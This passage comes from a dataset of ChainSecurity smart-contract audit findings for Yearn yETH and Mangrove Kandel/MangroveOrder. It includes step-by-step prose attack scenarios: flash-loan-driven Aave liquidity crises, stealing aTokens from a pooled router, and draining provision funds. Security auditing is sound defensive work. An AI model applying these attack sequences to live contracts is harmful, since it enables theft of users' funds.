goes towards 0). A lower rate for an asset results in a lower virtual balance for the asset, which lowers its weight in the Pool, therefore enabling trades that transfer the cheaper asset into the Pool and transfer out other assets. If the rate of one asset drops significantly (e.g., due to a hack), the Pool should be paused immediately, before the new ratio is published by the respective provider, to prevent traders from selling the worthless asset to the Pool. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "9.7 Precision of Packed Weights", "body": " The precision of weight variables passed as arguments in function is 18 decimals. This precision is lost when the variables are stored as packed in storage due to space limitations. Variables weight, target, lower and upper are limited to 20 bits, therefore they can store values with a precision of 6 digits only. The management account should take into consideration this behavior when setting the respective parameters of Pool. For instance, the function set_ramp does not enforce a lower bound on the values passed in the array _weights. If a value smaller than 10**12 is passed as target weight for an asset, the function _pack_weight will store 0. In this case, the ramp cannot complete and main functionalities of the Pool stop working as the function _update_weights calls function _calc_vb_prod which requires the weight of each asset to be non-zero: assert weight > 0. Yearn - Yearn yETH - 31 NoteVersion1NoteVersion1NoteVersion1 \f9.8 Sandwiching Curve Changes There are many ways a Curve can significantly change its shape. A prominent attack example is the sandwich attack on Curve when the amplification factor is changed. Therefore, these important changes are ramped (split in smaller changes over a defined time) to minimize the revenue of sandwiching these changes. Yearn also implements ramping for weight changes and amplification factor. However, ramping does not guarantee that an attack is not profitable. As Yearn does have more potential ways to change their Curve than e.g., the original Curve by Curve finance, this risk is increased. Ramping can be initiated only by the trusted account management which should carefully select the parameters _amplification, _weights, _duration and ramp_step. First, as _amplification represents the factor A * f^n and f depends on weights, both target _amplification and target _weights should be chosen such that they stay in line with each-other in intermediary steps of ramping. Otherwise, management should execute each step as a separate ramp. For instance, transitioning from a pool with weights (10%, 20%, 70%) to a pool with weights (60%, 30%, 10%) introduces an error in the amplification factor of up to 49% in the intermediary steps of the ramping. The error gets higher for more excessive changes. For example, transitioning from a pool with weights (1%,99%) to weights (99%,1%) introduces an error up to 72% in the intermediary steps of the ramping. Finally, _duration and ramp_step should be carefully chosen such that each step of ramping does not change the curve significantly. Any update of the ramp_step should take into consideration the ongoing ramp. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "9.9 Staking Does Not Lock Tokens", "body": " Users holding yETH can stake their tokens into the contract Staking. The contract does not lock staked tokens and there is no time restriction to withdraw them. The only incentive to keep tokens staked is the increasing voting weight. Hence, yETH holders might have a stronger incentive to stake their tokens if the Pool generates rewards and withdraw if there are losses. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "9.10 Supply Updates in Pool", "body": " The rate update of underlying assets can be triggered explicitly by calling the function update_rates or it gets triggered when sensitive operations are executed, e.g., adding/removing liquidity or swaps. The rate update changes the composition of the virtual balances of assets in the pool. The new supply is then computed, and Pool mints or burns tokens to/from the staking based on the positive or negative delta. Updates of the supply provide different incentives to users. For instance, if new rates are published and they lower supply, an existing LP can profit by sandwiching the transaction that triggers the supply update by withdrawing their tokens first and then deposing again after the supply gets updated. On the other case, if supply is going to be increased, LPs have an additional incentive to stake their yETH to claim the respective rewards (subject to delays). Yearn - Yearn yETH - 32 NoteVersion1NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/yearn-yeth-smart-contracts/"}, {"title": "5.1 Provoking an Aave Liquidity Crisis", "body": " AaveKandel stops providing liquidity if too much is borrowed. Generally, market makers should be aware of that. However, one can throw Aave temporarily into a liquidity crisis by ISSUEIDPREFIX-001 1. flashloaning the entire balance 2. borrowing the entire balance That could allow an attacker to create a temporary liquidity crisis wrapping a sniping operation on Mangrove core for his profit. However, note that the flashloaning attack is to some degree by the economic factor of Aave flashloans while the other operation can be achieved even for free by taking out free flashloan for collateral assets on other protocols. Such attacks are however limited by the borrow caps that Aave can impose. Namely, the attack can be carried out as long as the Aave's available capital after the borrow cap is reached is less than an offer's promised amount. Note that 1. and 2. can be combined to reduce the total cost of an attack with 1. so that the limit set by the borrow caps can be bypassed. Risk accepted: Mangrove Association (ADDMA) replied: 1/ deploy 80 offers from AAVE kandel (WETH,USDC) on mangrove Note 1: 80 offers is the limit beyond which one cannot collect all failing offers because of stack overflow Note 2: WETH has borrow cap on AAVE so the attack has to be on offers that have USDC outbound Mangrove Association (ADDMA) - Kandel Strats - 11 SecurityDesignCorrectnessCriticalHighRiskAcceptedMediumLowAcknowledgedSecurityHighVersion1RiskAccepted \f2/ attacker supplies enough DAI on AAVE to be able to borrow the whole supply of USDC Note 1: the script mocks up a flashloan of DAI to obtain enough collateral. There is currently no real way to flashloan DAIs on polygon. In the overall cost of the attack we add 400K gas as an estimate of the flashloan cost plus the cost of repaying the borrow on AAVE which is not scripted here (AAVE on polygon still does not allow repay and borrow on the same block, although ethereum deployment does). The attack using AAVE native flashloan has also been tested but result in a prohibitive cost for the attacker (around 1000 USD worth of fees). Note 2: there is currently a supply cap on AAVE for DAI which is just enough to do this, but supplying a bit too much DAI actually reverts 3/ attacker borrows USDC supply and triggers a market order 4/ all 80 aave kandel offers trigger a failure cascade and the bounty is sent to the attacker Assuming a tx.gasprice == Mangrove\u2019s gasprice at 90 gwei, we get: Attack collects 0.84691197 matics for 9 936 879 gas units cost of the attack: 0.89431911 native tokens Conclusion: - Under favorable gas conditions for the attacker, drying up the AAVE pool can be profitable (when tx.gasprice is significantly lower than Mangrove\u2019s). However the profit is quite low compared to traditional flashloan attacks and not iterable: failing Aave Kandel\u2019s offer do not repost themselves. Yet the attack would at least be griefing users as it would result in losing provision and having their offers unpublished from Mangrove. - We believe the best protection relies on launching AAVE Kandel Strats on markets that have a borrow cap, which would force the attacker of going through the costly AAVE flashloan mechanism to bypass the cap. - The above script is included in the test AaveKandel.t.sol (test_liquidity_borrow_marketOrder_attack) ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-kandel-strats-smart-contracts/"}, {"title": "5.2 Posthook Revert Due to Overflow in Dual", "body": " Offer Computation The maker posthook of Kandels can revert due to a potential overflow in dualWantsGivesOfOffer() in extreme scenarios. Consider the following example: ISSUEIDPREFIX-002 Assume that the previously computed gives is equal to 2**96-1. Assume that r is equal to (2*10**5)**8 = 2**8 * 10**40. Hence, the first computed givesR will be (2**104-2**8) * 10**40, which needs 237 bits. In the else branch, assume that order.offer.wants() is small, e.g. 1, the updated givesR now needs 256 bits Hence, with offerGives >= 2**19, the computed wants will be > 2**256 which leads to a reverting overflow. Ultimately, the posthook for small offers could revert. Acknowledged: Mangrove Association (ADDMA) replied: The scenario that yields an overflow occurs with unlikely values. The outcome of the overflow is to make offer logic\u2019s posthook fail and hence entails no penalty for maker. Mangrove Association (ADDMA) - Kandel Strats - 12 DesignLowVersion1Acknowledged \f6 Resolved Findings Here, we list findings that have been resolved during the course of the engagement. Their categories are explained in the Findings section. Below we provide a numerical overview of the identified findings, split up by their severity. -Severity Findings Depositing ATokens Allows Stealing Them -Severity Findings -Severity Findings Wrong Dual Price Computation on Crossing Boundaries -Severity Findings Balance in Router Can Be Present More Precision Can Be Used for wants Reserve Balance Does Not Include Kandel's Balance Tokens Without Return Values AaveKandelSeeder Missing Active Market Check 1 0 1 5 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-kandel-strats-smart-contracts/"}, {"title": "6.1 Depositing ATokens Allows Stealing Them", "body": " The Aave v3 pooled router, allows arbitrary tokens. Tokens that are not supported by Aave are kept in the router contract directly and treated equivalent to buffered tokens coming from Aave withdrawals. However, depositing aTokens leads to accounting issues, treating the aTokens received from actual supply operations as donations and, hence, buffered tokens. ISSUEIDPREFIX-007 Consider the following scenario: 1. 1M aDAI held by the router (DAI was supplied). 2. Attacker creates Kandel and uses depositFunds() to supply 1 aDAI. 3. Since not shares exist for aDAI, the INIT_MINT will be minted. The supply fails but the code does not revert since noRevert is true. 4. The attacker now uses withdrawFunds() to redeem aDAI.balanceOf(router) aDAI. 5. The router's withdraw function realizes that there is enough buffered amount of aDAI. Hence, toRedeem is 0. 6. _burnShares() first computes the shares to burn. Since there is no overlying for aDAI, the input amount will match the aDAI balance of the contract. Hence, the total shares for aDAI will be burned which are equal to INIT_MINT and thus equal to the attacker's shares. All shares are burned since the attacker is the only holder. 7. toRedeem is 0. Hence, withdrawing from Aave will not be tried. All the aDAI balance is sent to the attacker. Ultimately, all funds in the Aave pooled router could be at risk. Mangrove Association (ADDMA) - Kandel Strats - 13 CriticalCodeCorrectedHighMediumCodeCorrectedLowSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedSecurityCriticalVersion1CodeCorrected \f On deployment, the AaveKandel tries to call UNDERLYING_ASSET_ADDRESS() on the base and the quote token. In case staticcall does not revert, the token is classified as an aToken and the deployment will revert. In case the staticcall reverts, the error is caught and execution proceeds. Note that the staticcall could revert without the error message if the base or quote token are EOAs. Further, only the base and quote tokens can be deposited to and withdrawn from the AaveKandel. Both restrictions combined, prevent aTokens from being deposited to the router from Kandels. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-kandel-strats-smart-contracts/"}, {"title": "6.2 Wrong Dual Price Computation on Crossing", "body": " Boundaries When the dual price is computed, the function GeomertricKandel.dualWantsGivesOfOffer is not aware of how many steps the price should move to stay within the defined boundaries and will always move it by ratio**spread. Whenever steps <= spread holds, this can lead to prices that are off by factors of ratio on the boundary of the indices, thus breaking the assumption that each index should be at a distance ratio from its neighbors. ISSUEIDPREFIX-013 Consider the following example: 1. The following setup is active: pricePoints = 6 spread = 3 compoundRate = p = 10 ** PRECISION 2. A trade occurs against a Bid at index = 4 so that the dual offer parameters are (note that since the pricePoints limit of 5 is exceeded, it is set to the maximum value allowed): virtual_dual_index = 7 => dual_index = 5 dualOffer = Ask Hence, we jump by only 1 index and expect a price update of ratio / p. Hence, the expected price is the expected price at index 5 expected_wants / expected_gives = (order.wants * ratio**1 / p**1) / (order.gives) 3. The gives of the dual offer are computed (assume now that at index 5 gives had been 0): new_gives = order.gives * compoundRate * ratio**spread / (ratio**spread * p) <=> new_gives = order.gives 4. The wants of the dual offer are computed: new_wants = order.wants * new_gives * ratio**spread / (order.gives * p**spread) <=> new_wants = order.wants * order.gives * ratio**spread / (order.gives * p**spread) <=> new_wants = order.wants * ratio**spread / p**spread Mangrove Association (ADDMA) - Kandel Strats - 14 CorrectnessMediumVersion1CodeCorrected \f5. The price at index 5 is now: new_wants / new_gives = (order.wants * ratio**spread / p**spread) / (order.gives) Note that the new price at index 5 is distinct from the expected price. The spread applied to the ratio is now updated by GeometricKandel.transportDestination for the price to stay within bounds. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-kandel-strats-smart-contracts/"}, {"title": "6.3 Balance in Router Can Be Present", "body": " Note that the documentation of AavePooledRouter.__pull__() specifies: ///@dev outside a market order (i.e if `__pull__` is not called during offer logic's execution) the `token` balance of this router should be empty. /// This may not be the case when a \"donation\" occurred to this contract /// If the donation is large enough to cover the pull request we use the donation funds ISSUEIDPREFIX-012 However, note that this is not necessarily the case since the posthook of the first puller could revert and leave the funds inside the router without pushing them out. However, after the next execution or the next deposit, the funds should be moved to Aave if everything works correctly. Note that an attacker could force a balance into the router without donating to it by increasing the total supply on Aave such that the supply cap makes the first puller's flushing revert. trading against an attacker-strategy-owned Kandel and then trading against the attacker strategy that changes the router of the Aave Kandel so that the Aave Kandel does not push and supply on the Aave router. Specification Changed: The comment has been adapted. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-kandel-strats-smart-contracts/"}, {"title": "6.4 More Precision Can Be Used for wants", "body": " ISSUEIDPREFIX-009 When computing is used when uint160(givesR) == givesR || order.wants < 2 ** 18, but the second condition can be relaxed to be order.wants < 2 ** 19 to allow full precision more often. the wants amount of the dual offer, full precision The second condition has been relaxed to accept values < 2 ** 19. Mangrove Association (ADDMA) - Kandel Strats - 15 CorrectnessLowVersion1Speci\ufb01cationChangedDesignLowVersion1CodeCorrected \f6.5 Reserve Balance Does Not Include Kandel's Balance The reserveBalance() is the available balance for a strategy of an offered token. Note that Direct strategies try to use the local balance always first, see function __get__(). ISSUEIDPREFIX-011 uint amount_ = IERC20(order.outbound_tkn).balanceOf(address(this)); if (amount_ >= amount) { return 0; } However, the AaveKandel does not account for the local balance (potentially received through donations) in reserveBalance(). The function AaveKandel.reserveBalance() has been updated to take its own balance into account. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-kandel-strats-smart-contracts/"}, {"title": "6.6 Tokens Without Return Values", "body": " The Mangrove core system and the transfer libraries used in Kandel handle tokens without return values on transfers. However, for approvals return values are always expected. Note that this is not always the case due to tokens implementing the ERC-20 standard incorrectly (e.g., USDT). ISSUEIDPREFIX-008 The approve() function handles now the case where no return value exists. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-kandel-strats-smart-contracts/"}, {"title": "6.7 AaveKandelSeeder Missing Active Market", "body": " Check Only the (BASE,QUOTE) market is checked to be active on Mangrove, but the (QUOTE,BASE) base market should also be checked as it is used as well. If the inverse market is inactive, initial Ask and the Bid dual offers will fail to be posted. ISSUEIDPREFIX-006 The two markets are now checked to be active on Mangrove in AbstractKandelSeeder.sow(). Mangrove Association (ADDMA) - Kandel Strats - 16 CorrectnessLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \f6.8 Explicit Variable Visibility Several variables have undeclared visibility which results in variables being internal. Note that clear specifying clear visibility can help maintain code. ISSUEIDPREFIX-005 Variables have now explicit visibility. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-kandel-strats-smart-contracts/"}, {"title": "6.9 Gas Inefficiencies", "body": " 1. The internal function DirectWithBidsAndAsksDistribution.populateChunk initializes i to 0, this is a redundant assignment. ISSUEIDPREFIX-004 2. When using tokenPairOfOfferType() with both offer function, e.g., DirectWithBidsAndAsksDistribution.populateChunk or DirectWithBidsAndAsksDistribution.retractOffers, one of the function calls can be avoided by assigning the inverted token pair. types in a 3. In the function CoreKandel.retractAndWithdraw the modifier onlyAdmin is unnecessary For 3, the modifier was not removed by choice. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-kandel-strats-smart-contracts/"}, {"title": "6.10 NatSpec", "body": " The NatSpec documentation is extensive. However, there at several places the NatSpec is missing or incomplete. For _supply, checkAsset, _totalBalance or balanceOfReserve return value undocumented. For _sharesOfAmount, mintShares or _burnShares an argument undocumented. depositFunds or withdrawFunds do not have any NatSpec. the is is Note that the examples are an incomplete list of lacking NatSpec documentation. ISSUEIDPREFIX-010 Documentation changed: The documentation has been adapted. Mangrove Association (ADDMA) - Kandel Strats - 17 InformationalVersion1CodeCorrectedInformationalVersion1CodeCorrectedInformationalVersion1Speci\ufb01cationChanged \f7 Informational We utilize this section to point out informational findings that are less severe than issues. These informational issues allow us to point out more theoretical findings. Their explanation hopefully improves the overall understanding of the project's security. Furthermore, we point out findings which are unrelated to security. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-kandel-strats-smart-contracts/"}, {"title": "7.1 Magic Values", "body": " The use of magic numbers in the codebase is not recommended, they should be replaced by variables with a self-explanatory name. Examples are: ISSUEIDPREFIX-003 \"mgv/writeOffer/density/tooLow\" \"mgv/tradeSuccess\" Acknowledged: Mangrove Association (ADDMA) replied: since these magic values are part of mangrove\u2019s specification, we assume they won\u2019t change. Mangrove Association (ADDMA) - Kandel Strats - 18 InformationalVersion1Acknowledged \f8 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-kandel-strats-smart-contracts/"}, {"title": "8.1 Maker Should Oversupply Due to Aave Being", "body": " off by 1 The maker should oversupply AaveKandel by some WEI to account for Aave internal loss of precision, that can lead the token amount to be off by 1 on redemption, as it could make the trade revert if they are the only one to use the Aave pool from a given AavePooledRouter. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-kandel-strats-smart-contracts/"}, {"title": "8.2 Supplying Caps Not Considered", "body": " Aave V3 has supply caps. However, these are not considered when supplying. Hence, supplying could fail so that tokens are treated as buffered. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-kandel-strats-smart-contracts/"}, {"title": "8.3 AaveKandelSeeder Missing Existence Check", "body": " of Pool for Asset No check is done on strategy deployment for a pool of BASE or QUOTE on AaveV3. If such pools cannot be supplied, the AaveKandel strategy can be deployed but there will be no yield from the deposits to the router. Mangrove Association (ADDMA) - Kandel Strats - 19 NoteVersion1NoteVersion1NoteVersion1 \f", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangrove-kandel-strats-smart-contracts/"}, {"title": "6.1 Locked Refunded Provision", "body": " ISSUEIDPREFIX-007 When a maker submits an order to the Mangrove orderbook, they need to provide some ETH, also known as the provision, to compensate the takers in case the makerExecute hook reverts. A maker can update their offer by calling Forwarder.updateOffer. Note that at this point a maker can update most of the parameters of the order including gasreq, i.e. the gas required for the makerExecute hook to execute. A maker could reduce the gas requirements meaning that some provision will be refunded to them. Forwarder.updateOffer does not handle this refunding (the ownerData.weiBalance is not updated) and Mangrove system only sees MangroveOrder as a maker. This means that the refunded amount is essentially lost for the end-user of the MangroveOrder. Note that if the provision needs to be increased again, the end-user must provide extra ETH. Code Corrected: In the current implementation, the provision can only be increased therefore no funds are locked. Mangrove Association (ADDMA) - MangroveOrder - 12 CriticalHighCodeCorrectedCodeCorrectedMediumCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedLowCodeCorrectedSpeci\ufb01cationChangedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCodeCorrectedCorrectnessHighVersion1CodeCorrected \f6.2 Wrong Calculation of Locked Provision When a user updates their offer through Forwarder.updateOffer, MangroveOrder tries to calculate the new gas price by calling deriveGasprice. The gas price depends on the total provision available for this order. That is the sum of the extra provision attached which is stored in args.fund and the already locked provision. Currently, the locked amount is calculated with the following snippet: vars.offerDetail.gasprice() * 10 ** 9 * args.gasreq + vars.local.offer_gasbase() ISSUEIDPREFIX-011 This formula is wrong for two reasons: 1. It depends on args.gasreq which is the updated gas requirement of the order as passed by the user. 2. There are parentheses missing around args.gasreq + vars.local.offer_gasbase(), as this entire term should be multiplied by the gas price. This miscalculation can have multiple consequences: 1. Can allow users to steal funds (see relevant issue). 2. An order can be submitted with smaller gasprice since the calculated total provision is too small. Code Corrected: Forwarder.updateOffer has been updated. Currently, users can only increase the provision for an order. Users cannot determine args.gasreq as it is set to be equal to the offerGasreq(). It is important to notice that offerGasreq() is not constant but depends on the configuration of the MangroveOrder and in particular the gas requirements of the router. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangroveorder-smart-contracts/"}, {"title": "6.3 Expiration Date Cannot Be Updated", "body": " A user can update most of the offer details by calling Forwarder.updateOffer. However, the expiration date cannot be changed. In order to change the expiration date of an order, one must retract it and submit a new one. ISSUEIDPREFIX-003 Code Corrected: MangroveOrder.setExpiry has been added to allow users to update the expiration date of the order. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangroveorder-smart-contracts/"}, {"title": "6.4 Underflow in postRestingOrder", "body": " ISSUEIDPREFIX-009 Mangrove Association (ADDMA) - MangroveOrder - 13 CorrectnessHighVersion1CodeCorrectedDesignMediumVersion1CodeCorrectedCorrectnessMediumVersion1Speci\ufb01cationChanged \fOnce the market order part of GTC order has been filled as much as possible, the remaining amount the user wants to trade is put into a resting order. Note that if fillWants == true, then the Mangrove engine will have stopped matching the order either when it is fully filled, there are no more orders on the books, or when the total average price of the order would fall below the threshold of the ratio between the order's initial wants and gives. Hence, if the matching stops before the order's wants are fully filled, we are guaranteed not to have given away more than the order initially had (else the total average price would be below what we initially wanted). However, if fillWants == false, this condition no longer holds. The order can receive arbitrarily many tokens before giving away all the tokens it has to give away. As the price of a trade is defined by the maker, there could be orders on the books which give away arbitrarily many tokens for a very low price. Hence, the user can receive more tokens in the market order part of the trade than they were expecting to. As such, res.takerGot + res.fee can exceed tko.takerWants despite only having partially filled the order. When we go to post a resting order, the following code is executed: res.offerId = _newOffer( OfferArgs({ outbound_tkn: outbound_tkn, inbound_tkn: inbound_tkn, wants: tko.makerWants - (res.takerGot + res.fee), // tko.makerWants is before slippage gives: tko.makerGives - res.takerGave, gasreq: offerGasreq() + additionalGasreq, // using default gasreq of the strat + potential admin defined increase gasprice: 0, // ignored pivotId: tko.pivotId, fund: fund, noRevert: true, // returns 0 when MGV reverts owner: msg.sender }) ); When the wants for the resting order are calculated, an underflow can occur in the case described above, as the market order part of the GTC order could have received arbitrarily many tokens. As Solidity ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangroveorder-smart-contracts/"}, {"title": "0.8.10 is used, this will simply revert the transaction, but will unnecessarily prevent the user from", "body": " completing their trade. Specification Changed: Currently, the order is posted with the same price as the taker originally wanted. Thus, the issue has been mitigated. Mangrove Association (ADDMA) replied: this problem made use reevaluate our specification: requiring the (instant) market order and the (asynchronous) maker order to respect a limit average price is not well defined. In some cases this would lead the maker order to be posted for a 0 price. We decided to change the specification and post the maker order at the price initially set by the taker for the market order (irrespectively of the obtained price). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangroveorder-smart-contracts/"}, {"title": "6.5 Users Can Steal Funds From MangroveOrder", "body": " The core Mangrove system maintains the balanceOf mapping which stores how much ETH is available for each maker to be used as a provision for their orders. Importantly, the MangroveOrder contract is seen as one single maker by the system, even though there might be many end users creating their orders through it. Let us assume that at some point the balance of MangroveOrder is positive and an attacker has already submitted an order. It is possible as we show in another issue that there might be ISSUEIDPREFIX-013 Mangrove Association (ADDMA) - MangroveOrder - 14 SecurityMediumVersion1CodeCorrected \fsome non-claimable balance since updateOrder does not handle refunds. An attacker can steal money from mangrove by employing any of the following two vectors: 1. Updating an order without sending funds: The attacker calls Forwarder.updateOrder for their order with msg.value == 0 and they increase the gas requirement of their order. This means that args.fund == 0 so gas price will remain the same, however, the total provision needed has been increased as the gas requirements have been increased! At this point MGV.updateOffer is called with msg.value == 0. Mangrove core does not perform any check if there are enough funds attached to the call since it relies on the balanceOf mapping by calling debitWei. Mangrove core uses the amount stored in balanceOf for the extra provision. The attacker now retracts the order and withdraws the provision of the order which includes the stolen amount. 2. Updating an order by attaching funds: The attacker calls Forwarder.updateOrder for their order with msg.value != 0 and they increase the gas requirement of their order. Since funds have been attached to the transaction, the gas price will be recalculated. The new provision at this point is calculated wrongly since the provision parameter passed to derivePrice depends on args.gasreq which represents the updated gas that requirements of args.gasreq can be freely set by the users so arbitrarily large value could be passed. As a result, the new gas price is greater than it should be but the extra funds passed are not enough to cover for the extra provision needed by the offer. the offer and not vars.offerDetail.gasreq(). Note Mangrove core uses the amount stored in balanceOf for the extra provision. The attacker now retracts the order and withdraws the provision of the order which includes the stolen amount. A similar attack can be performed when some of the global parameters change, which could result in inaccurate accounting of provisions. If the gasbase of the token pair related to an order changes in the core mangrove system, calling updateOffer can result in an increased (or decreased) provision without providing any additional funds. This will credit (or debit) funds to the MangroveOrder contract which aren't attributed to any user. In particular, if the global gas price is increased, calling updateOffer of Mangrove core with an unchanged gasprice which is lower than the new global gas price, the mangrove core system will set the gas price higher without receiving any funds. This again changes the balance of the MangroveOrder contract, without attributing it to any individual user. While _newOffer and _updateOffer in Forwarder have checks to make sure the offer's gas price is higher than the global gas price, __posthookSuccess__ in MangroveOffer does not. Hence, if the global gas price changes, then an order is partially filled and attempts to repost, its provision will be increased with no additional submitted funds. While the amounts of funds are small, it is conceivable that a malicious user could be able to exploit a change in the global gas price or the gasbase in order to steal funds. It is important to note that this issue cannot result in users losing funds since the excessive provision which can be stolen cannot be claimed by any specific user. In the normal case, no excessive provision should be available. Therefore, it is expected the amount that can be stolen to be low. Hence, we consider the issue as medium severity. Code partially corrected: The issue has been addressed in multiple different ways: Mangrove Association (ADDMA) - MangroveOrder - 15 \f1. In the current implementation there shouldn't be unallocated users' funds in Mangrove core. 2. Users can only increase the provision of an order using MangroveOrder.updateOrder, not decrease it. Hence, they must provide additional provision and can not submit orders which could make use of funds that are already stored in the Mangrove core. 3. The __posthookSuccess__ uses Forwarder._updateOffer. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangroveorder-smart-contracts/"}, {"title": "6.6 Interpretation of type(uint24).max Not", "body": " Up-To-Date ISSUEIDPREFIX-006 Before Forwarder contract, i.e., gasreq = offerGasreq. In is removed MangroveOffer.getMissingProvision which will return an gasreq >= type(uint24).max. , the value type(uint24).max or more had a special meaning for gasreq in the , the meaning of that value has been function the if called with incorrect value Forwarder, present from still the but in The function has been removed. It has been suggested that MgvReader.getProvision() can be used as an alternative. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangroveorder-smart-contracts/"}, {"title": "6.7 Wrong Comment", "body": " The NatSpec of __posthookSuccess__ specifies for example \"posthook/filled\" as return data. However, the return data has changed its format. ISSUEIDPREFIX-014 Specification changed: The specification has been adapted. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangroveorder-smart-contracts/"}, {"title": "6.8 Inaccurate Comment", "body": " In MangroveOrder.checkCompleteness, the following is mentioned: // when fillWants is true, the market order stops when takerWants units of outbound_tkn have been obtained; However, this comment is inaccurate since part of the takerWants goes to cover the fees, so not the full takerWants amount can be obtained. In AbstractRouter.push, the return value is described as follows: ISSUEIDPREFIX-005 Mangrove Association (ADDMA) - MangroveOrder - 16 CorrectnessLowVersion4CodeCorrectedVersion4Version4CorrectnessLowVersion4Speci\ufb01cationChangedDesignLowVersion1CodeCorrected \f///@return pushed fraction of amount that was successfully pushed to reserve. However, for tokens with fees, provided the TransferLib is used, the whole amount will always be reported. Code Corrected: The comments have been updated. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangroveorder-smart-contracts/"}, {"title": "6.9 Missing Natspec", "body": " The Natspec is missing in the following cases: For AbstractRouter.bind, the maker parameter. For AbstractRouter.unbind, the maker parameter. For SimpleRouter.__pull__, the strict parameter. For IOfferLogic.OfferArgs, the gasprice field. Code Corrected: The Natspec has been added to the respective functions. ISSUEIDPREFIX-008 ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangroveorder-smart-contracts/"}, {"title": "6.10 Redundant pragma abicoder v2", "body": " Many contracts include the pragma abicoder v2 directive. However, for solidity 0.8 the abicode v2 is the default one, so the pragma is redundant. ISSUEIDPREFIX-010 Code Corrected: The pragma has been removed from most of the contracts. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangroveorder-smart-contracts/"}, {"title": "6.11 Setting Expiration Date", "body": " A user can define the time-to-live of a resting order submitted through MangroveOrder by specifying the TakeOrder.timeToLiveForRestingOrder. It is important to note that an order can remain in the mempool for a long time before it's executed. Specifying an explicit expiration date instead of the time-to-live might be more convenient for users since it's independent of the time it takes for a transaction to be included in a block. ISSUEIDPREFIX-002 Mangrove Association (ADDMA) - MangroveOrder - 17 DesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrectedDesignLowVersion1CodeCorrected \fCode Corrected: The expiration date is now absolute and no longer relative to the time the transaction is added to the blockchain. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangroveorder-smart-contracts/"}, {"title": "6.12 Forwarder.provisionOf Calculation Is", "body": " Wrong ISSUEIDPREFIX-012 As its natspec suggests Forwarder.provisionOf computes the amount of native tokens that can be redeemed when In MgvOfferMaking.retractOffer, the provision is calculated as follows: offer. However, deprovisioning given true. this not is a provision = 10 ** 9 * offerDetail.gasprice() //gasprice is 0 if offer was deprovisioned * (offerDetail.gasreq() + offerDetail.offer_gasbase()); The important part to notice is that provision depends on offerDetail.offer_gasbase(). This is not the same for Forwarder.provisionOf where the provision is calculated as follows: provision = offerDetail.gasprice() * 10 ** 9 * (local.offer_gasbase() + offerDetail.gasreq()); Here, offerDetail.offer_gasbase(). provision the depends on local.offer_gasbase() instead of Code Corrected: The provision is now calculated using the offerDetail.offer_gasbase(). ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangroveorder-smart-contracts/"}, {"title": "6.13 Array Length Mismatch", "body": " The batched functions of the TransferLib can take arrays differently sized arrays. The desired execution in that case is unclear. ISSUEIDPREFIX-001 The batched functions have been removed. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangroveorder-smart-contracts/"}, {"title": "6.14 Explicit Variable Visibility", "body": " Mangrove Association (ADDMA) - MangroveOrder - 18 ISSUEIDPREFIX-004 DesignLowVersion1CodeCorrectedInformationalVersion4CodeCorrectedInformationalVersion1CodeCorrected \fAccessControlled has now a state variable _admin. However, it does not have explicit visibility defined. Note that this does not lead to any double getters since its by default internal. However, specifying explicit visibility may make code clearer. Note that this is the case also for boundMakerContracts in AbstractRouter. The code has explicit variable visibility now. Mangrove Association (ADDMA) - MangroveOrder - 19 \f7 Notes We leverage this section to highlight further findings that are not necessarily issues. The mentioned topics serve to clarify or support the report, but do not require an immediate modification inside the project. Instead, they should raise awareness in order to improve the overall understanding. ", "labels": ["ChainSecurity"], "html_url": "https://chainsecurity.com/security-audit/mangroveorder-smart-contracts/"}, {"title": "7.1 Updating Approvals on Order Update", "body": " A user can update their orders by using 